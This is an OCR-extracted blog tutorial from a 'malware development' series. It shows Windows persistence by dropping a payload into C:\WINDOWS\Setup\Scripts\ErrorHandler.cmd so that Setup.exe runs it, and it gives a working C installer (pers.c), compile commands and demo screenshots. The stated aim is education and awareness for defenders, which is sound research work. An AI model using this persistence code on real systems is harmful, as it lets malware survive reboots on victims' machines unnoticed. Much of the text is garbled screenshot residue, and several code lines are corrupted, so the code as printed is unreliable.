Malware development: persistence - part 22. Windows
Setup. Simple C++ example.

@ cocomelonc.github.io/persistence/2023/07/16/malware-pers-22.html

July 16, 2023

3 minute read

Hello, cybersecurity enthusiasts and white hackers!
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https://cocomelonc.github.io/persistence/2023/07/16/malware-pers-22.html
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<windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPr
MessageBox (NULL,  "Meow-meow!", "=~..”=", MB_OK);
0;

File Actions Edit View Help
@echo
"C:\Users\user\Desktop\research\2023-07-16-malw

This post is based on my own research into one of the more interesting malware persistence
tricks: via Windows Setup script.

setup script

C:\WINDOWS\system32\oobe\Setup.exe is an executable file on the Windows operating
system. The oobe directory stands for “Out Of Box Experience,” which is part of the process
users go through when they are setting up Windows for the first time, such as creating a user
account, setting preferences, choosing default settings, etc.
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dll
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) : 68 b ep.dll
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Turns out, if you place your payload in ¢ : \WINDOWS\Setup\Scripts\ErrorHandler.cmd,
c:\WINDOWS\system32\oobhe\Setup.exe will load it whenever an error occurs.

practical example

Let’s go to look at a practical example. First of all, as usually, create “evil” application. For
simplicity, as usually, it's meow-meow messagebox “malware” application (hack. c):
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/*

hack.c

evil app for windows persistence

author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/16/malware-pers-22.html
*/

#include <windows.h>

#pragma comment (lib, "user32.1ib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nCmdShow) {

MessageBox(NULL, "Meow-meow!", "=A,.A="  MB_OK);
return 0;

And, then just create file ErrorHandler.cmd for persistence:

@echo off
"C:\Users\user\Desktop\research\2023-07-16-malware-pers-22\hack.exe"

As you can see, the logic is pretty simple.

demo

Let’s go to see everything in action. First of all, compile our “malware”:

x86_64-w64-mingw32-g++ -02 hack.c -0 hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

( ) - [~/hacking/cybersec_blog/meow/2023-07-16-malware-pers-22]
x86 64-wb4-mingw32-g++ hack.c hack.exe

—( ) - [~/hacking/cybersec_blog/meow/2023-07-16-malware-pers-22]
—$ 1s
total 24
-rwxr-xr-x 1 cocomelonc cocomelonc 14848 Jul 16 23:47 hack.exe
- 1 cocomelonc cocomelonc 78 Jul 16 23:05 ErrorHandler.cmd
- 1 cocomelonc cocomelonc 360 Jul 16 23:03 hack.c

type .\ErrorHandler.cmd

JP,

arch\2823-87-16-malware-pers-22\hack.exe

Ok, the next step, need to run setup.exe with error. The simplest method is to execute
Setup.exe without any arguments:

.\Setup.exe
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<windows.h>
#pragma comment  (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevI' . T T .

win10-MA (fresh+idapro?.7) [Running] - Oracle VM VirtualBox
M B NULL M e ~=", MB_OK
essa (04 Meow-meow: =..7= 5
g ( ! ! ! _0K) File Machine View Input Devices Help

File Actions Edit View Help

@echo
"C:\Users\user\Desktop\research\2023-07-16-malware

Meow-meow!

Fll © Type here to search @)

If we open Process Hacker and see properties of hack.exe:
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indo stem3 abe

Hacker View Tools

L

Users

1% Process Hacker [DESKTOP-OTF39V3user]

Help

m32voobe,

&% Refresh % Options | &8 Find handles or DLLs  2¢% System information | O X

Search Processes (Ctri+K)

Processes  Services MNetwork Disk
Mame PID  CPU |/Ototal.. Privateb.. Username Description
[85] dasHost.exe 1864 0.07 3.79 MB Device Association Framewaor...
[85] swchost.exe 1512 18.65 MB Host Process for Windows Ser...
[5E] MsMpEng.exe 2112 276.1 MB Antimalware Service Executable
v [ sihost.exe 2936 631 MB DESKTOP-OTF39W3\user  Shell Infrastructure Host
/%8 ProcessHacker.exe 36492 0.97 1213 MB DESKTOP-OTF3%W3\user Process Hacker
[#5] svchost.exe 2960 1275 MB  DESKTOP-OTF39V3huser Host Process for Windows Ser...
[5] taskhostw.exe 3024 0.7 160.00 kB... 6.55 MB DESKTOP-OTF39W3\user Host Process for Windows Tasks
v [ explorer.exe 3196 017 69.89 MB DESKTOP-OTF30W3\user Windows Explorer
EEI SecurityHealthSystray.exe 3520 1.78 MB  DESKTOP-OTF38V3'\user  Windows Security notification...
5% VBoxTray.exe 2932 0.01 28B/s 255MB DESKTOP-OTF39V3\user VirtualBox Guest Additions Tra...
# OneDrive.exe 3924 19.24 MB  DESKTOP-OTF3%V3\user  Microsoft OneDrive
v BN powershell.exe 7276 0.02 57.03 MB DESKTOP-OTF3%V3\user Windows PowerShell
B conhost.exe 7848 3.96 MB DESKTOP-OTF39W3user Console Window Host
~ i Setup.exe 4876 1.02MEB DESKTOP-OTF39V3huser Windows Installation and Setup
~ B cmd.exe 7264 252 MB  DESKTOP-OTF39WIwuser Windows Command Processor
EX conhost.exe 3176 T.25MB DESKTOP-OTF3®WIwser Console Window Host
[0 hack.exe 3744 145MB DESKTOP-OTF39V3\user
v BN powershell.exe 5424 0.03 56.13 MB DESKTOP-OTF3%V3\user Windows PowerShell
BN conhost.exe 4728 39MB DESKTOP-OTF39V3\user Console Window Host
[85] swchost.exe 3204 2.01 MB Host Process for Windows Ser...
¢ Searchindexer.exe 3252 0.02 264B/s 3225 MB Microsoft Windows Search In...
ctfmon.exe 3492 424 MEB DESKTOP-OTF39V3\user CTF Loader
[85] swchost.exe 3896 0.02 3.87MB DESKTOP-OTF39V3\user Host Process for Windows Ser...

CPU Usage: 7.28%

Type here to search

we can notice that its parent process is cmd . exe

Physical memory: 2.15 GB (71.24%) Processes: 93
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—_———

[DESKTOR - OTESSY 3 userl

7o [ hack.exe (3744) Properties — O b e
O .
Memory Environment Handles GPU Comment
== General Statistics Performance Threads Token Modules
File
W INE e
= (UNVERIFIED)
19.8 Version: MN/A
E Image file name:
ssh
3 | C:\Jsers\user\Desktoplresearch |\ 2023-07- 16-malware -pers-22'|,|'|.| 4 | |5
e
W.E
L Process
iyl Command line: "Cr\Users'user \Desktopiresearch\2023-07-16 -mal'.-'-.| iy
i
Tray Current directory: | MfA |
riv Started: | an hour and 40 minutes ago (2:11:22PM 7/16/2023) |
rsh|
T PEE address: | Oxb5fe8c1000 | Image type: &4-bit
tud Parent: | cmd.exe (7264) | =
. Mitigation policies: | A | Details
= Protection: Mone Terminate
rsh|
nh
= E
ey
e
e
g Close

=

In turn, its parent is the Setup.exe (4876) process:

H=er
Hser
Hser
Hser
Hser
H=er
Iser
HEEr
H=er

UsEr

Hser

HEEr

Hser
HEEr

717



er [DESKTOP-OTE39W 3\ user]

Ta Bl cmd.exe (7264) Properties — O >

Iy .
Memory Environment Handles GPU Comment

= General Statistics Performance Threads Token Modules .
File

e Windows Command Processor

ke {(Verified) Microsoft Windows

148 Version: 10.0,19041.745

i Image file name: i

=h

; | C:\Windows\System32'ond. exe | B ==l A

3= Iser

I.E Iser
Process

By i - - Iser

| Command line: | Cr\Windows\system32\omd.exe Jc C:\,‘Lﬁa'lndnu\'s‘nﬁeﬂ by

ty Iser

ay Current directory: | M A | Iser

v Started: | an hour and 41 minutes ago (2:11:22PM 7/15/2023) | fs€F

ch Iser

" PEE address: | Oxdf17e4f000 | Image type: &4-hit k.
Parent: | Setup.exe (4378) | 4 r
Mitigation policies: | MfA | Details

Protection: Mone Terminate r

Y

As you can see, our persistence logic works perfectly! =*..A=

practical example 2. persistence script

For the sake of completeness of the experiment, | created a file pers.c:
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/*

pers.c

windows persistence via Windows Setup

author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/16/malware-pers-22.html
*/

#include <windows.h>

#include <stdio.h>

int main(int argc, char* argv[]) {
// create the directory if not exist
if (!CreateDirectory("C:\\WINDOWS\\Setup\\Scripts", NULL)) {
DWORD error = GetLastError();
if (error !'= ERROR_ALREADY_EXISTS) {
printf("failed to create directory. error: %lu\n", error);
return -1;

// open the file for writing
HANDLE hFile = CreateFile("C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd",
GENERIC_WRITE, O, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("failed to create ErrorHandler file. error: %lu\n", GetLastError());
return -1,

// content to write to the file
const char* data = "@echo off\n\"C:\\Users\\user\\Desktop\\research\\2023-07-16-
malware-pers-22\\hack.exe\"";

// write the content to the file

DWORD bytesWritten;

if (!WriteFile(hFile, data, strlen(data), &byteswritten, NULL)) {
printf("failed to write to ErrorHandler file. error: %lu\n", GetLastError());

}

// close the file handle
CloseHandle(hFile);
return 0,

Note that, this program needs to be run with administrator rights as it’s trying to create a
directory and a file under c:\wINDoOwS, which requires administrative privileges.
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EN Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https ‘aka.ms/pscoreb
/-16-malwar
-malware-per

7-1lb-malware-pers

malware-pers-22»

demo 2

Let’s go to see everything in action. Compile our persistence script:

X86_64-w64-mingw32-g++ -02 pers.c -0 pers.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

/hacking/cybersec_blog/meow/2023-07-16-malware-pers-22]
g++ pers.c pers.exe

) - [~/hacking/cybersec_blog/meow/2023-07-16-malware-pers-22]

cocomelonc cocomelonc 40448 Jul 17 02:07 pers.exe

cocomelonc cocomelonc 1224 Jul 17 02:07 pers.c

cocomelonc cocomelonc 78 Jul 17 00:08 ErrorHandler.cmd
-rwxr-xr-x 1 cocomelonc cocomelonc 14848 Jul 16 23:47 hack.exe
-rw-r--r-- 1 cocomelonc cocomelonc 360 Jul 16 23:03 hack.c

Then, just run it with administrative privileges on the victim’s machine:

.\pers.exe
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win10-MA (fresh+idapro7.7) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

ind
Copy t (C) oft Corporat . All righ

Try the new cre -platform Po hell http

Director

yrHandler.cmd

L Type here to search

In my case, before run it | deleted this folder:
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C ey

i winl0-MA (fresh+idapro7.7) [Running] - ©racle VM Virtual B
File Machine View Input Devices Help

LN Administrator: Windows PowerShell

Windows Powershell
Copyright (C)} Microsoft Corporation. All rights reserwved.
Recyele |

Try the new cross-platform PowerShell https://aka.ms/pscoreb

PS C:\Windows\system32> cd C:\Windows\Setuph
ﬂ PS C:wWindows\Setup> mkdir Scripts

Microsc
Edge
Mode LastWriteTime Length Mame

Directory: C:\Windows‘Setup

*’d 7/16/2823 1:46 PM seripts

Firefo:PS Ci\Windows\Setupr> cd .\Scripts\
PS C:WWindows\Setup\Scriptss
PS Ci:wWindowsh\Setup\Scripts> type .\ErrorHandler.cmd
@echo off

"C:WUsers\user\Desktop\research\2823-87-16-malware-pers-22\test.exe"
PS C:WWindows\Setup\Scriptss
PS Ci:wWindowsh\Setup\Scripts> type .\ErrorHandler.cmd
@echo off
Sysintern "C: \Users\user\Desktop\research\ 2823-87-16-malware-pers-22\hack. exa"
- 5ShHortcPSs C:\Windows\Setup\Scripts>
PS Cr:W\Windowsh\Setup\Scriptss

PSS ey ndnws SatuniSeed ntes el

_! :j'PS C:\Windows\5Setup> dir

.
P Directory: C:\Windows‘Setup
= 5horl c

LastWriteTime

1277728139 1:18 AM

PEhePS C:\Windows\Setup> g
shorte:

£ Type here to search

Run, setup.exe again:




A win10-MA (fresh+idapro7.7) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

User Account Control

Do you want to allow this app to make
changes to your device?

Fl Windows Installation and Setup

Verified publisher: Microsoft Windows

Show more details

Yes

= ¥l 4 B Right Ctrl

13/17



i e <windows.h>
inc e -<stdio.h>

int main(int-argc, char* argv[]) {

WIn10-Ma (fresh+idapre7.7) [Running] - Oracle VM VirtualBox

(1CreateDirectory("C:\\WINDOWS\\Setup\\Scripts", NU = Machine View nput Devices Help

DWORD error = GetLastError();
(error != ERROR_ALREADY_EXISTS) {
printf("failed to create directory. error:
stur - P
}
}

HANDLE hFile = CreateFile("C:\\WINDOWS\\Setup\\Scripts
LL);
(hFile == INVALID_HANDLE_VALUE) {
printf("failed to create ErrorHandler file. error:

iLh
}

const char* data = "@echo off "C:\\Users\\user\\Desk

DWORD bytesWritten;
(WriteFile(hFile, data, strlen(data), &bytesWritte
printf("failed to write to ErrorHandler file. error:

CloseHandle(hFile);
0;

5iter
FJll © Type here to search o)

}
NORMAL I«

Perfect! =A. A=

conclusion

This is a common filename for an installer package. In this case, it’'s part of Windows'’s setup
and initialization process. It's used during the installation of the operating system, as well as
when adding or modifying features and components.

As you can see, however, please note that although it is a legitimate part of the Windows
operating system, malicious programs can sometimes name themselves Setup.exe to avoid
detection.

There are also other files to inside the c:\WINDOWS\system32\oobe\ folder:
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LastWriteTime

AuditshD
cmisetup.dll
diagER.d1l
diagnostic.dll
Anim.

EBroker.
UIImg.dll

.dll
2ui.dll
windeploy.
WinlLGDep.dll
winsetup.dll

| have not checked them.

This trick has been previously researched by hexacorn:
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https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/

« Tweet

@ Adam

This is a far more interesting 'feature' of setup.exe - a persistence trick
really

Drop your payload to
c:\WINDOWS\Setup\Scripts\ErrorHandler.cmd

and c:\WINDOWS\system32\oobe\Setup.exe will load it anytime it
errors (at least; enough to run it w/o cmd line to trigger)

CiAWINDOWS\ system32\oobe>setup
Ci \WINDOWS\ system32\oobe>more c:\WINDOWS Setup\Scripts\ErrorHandler.cmd
echo foo

pause

C: \WINDOWS\ system3

Bl CAWINDOWS\system32\cmd.exe

C: \WINDOWS \ system32\oobe>echo foo

foo

C: \WWINDOWSY system32\oobe>pause

Press any key to continue .

, | just show the dirty PoC code in C: pers.c.




| hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

Malware persistence: part 1
https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/
https://twitter.com/Hexacorn/status/1482484486994640896

source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/
https://twitter.com/Hexacorn/status/1482484486994640896
https://github.com/cocomelonc/meow/tree/master/2023-07-16-malware-pers-22

